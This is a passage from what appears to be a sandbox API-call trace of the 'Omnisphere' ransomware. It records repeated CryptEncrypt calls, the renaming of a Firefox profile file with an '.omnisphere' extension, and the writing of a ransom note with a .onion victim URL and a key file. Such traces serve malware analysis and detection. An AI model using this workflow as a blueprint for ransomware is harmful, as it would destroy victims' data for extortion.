out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.417] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.418] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.418] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.418] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.418] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.418] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.418] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.418] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.418] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.418] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.418] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.418] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.418] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.418] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.418] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.418] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.418] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.418] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.418] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.593] CryptDestroyKey (hKey=0x1639528) returned 1 [0157.593] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0157.596] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0157.596] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0157.845] GetProcessHeap () returned 0x1600000 [0157.845] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2d2) returned 0x1745168 [0157.845] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite.omnisphere")) returned 1 [0157.846] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite.omnisphere.id" [0157.846] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.847] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0157.848] CloseHandle (hObject=0x388) returned 1 [0157.848] UnmapViewOfFile (lpBaseAddress=0x4010000) returned 1 [0157.911] CloseHandle (hObject=0x3c0) returned 1 [0157.911] SetEndOfFile (hFile=0x288) returned 1 [0157.912] FlushFileBuffers (hFile=0x288) returned 1 [0158.308] CloseHandle (hObject=0x288) returned 1 [0158.308] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0158.308] GetProcessHeap () returned 0x1600000 [0158.308] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1745448 [0158.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0158.309] GetProcessHeap () returned 0x1600000 [0158.309] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733fb8 [0158.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733fb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0158.309] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0158.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0158.309] GetProcessHeap () returned 0x1600000 [0158.309] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726938 [0158.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726938, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0158.309] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0158.309] GetProcessHeap () returned 0x1600000 [0158.309] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x172fd68 [0158.309] PathCombineW (in: pszDest=0x172fd68, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0158.309] GetProcessHeap () returned 0x1600000 [0158.309] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1737450 [0158.309] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0158.310] WriteFile (in: hFile=0x288, lpBuffer=0x1737450*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1737450*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0158.310] CloseHandle (hObject=0x288) returned 1 [0158.310] GetProcessHeap () returned 0x1600000 [0158.310] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1745448 | out: hHeap=0x1600000) returned 1 [0158.310] GetProcessHeap () returned 0x1600000 [0158.310] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162bd08 [0158.310] PathCombineW (in: pszDest=0x162bd08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0158.310] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0158.311] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0158.311] CloseHandle (hObject=0x288) returned 1 [0158.311] GetProcessHeap () returned 0x1600000 [0158.311] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162bd08 | out: hHeap=0x1600000) returned 1 [0158.311] GetProcessHeap () returned 0x1600000 [0158.311] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162bdd8 | out: hHeap=0x1600000) returned 1 [0158.311] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, 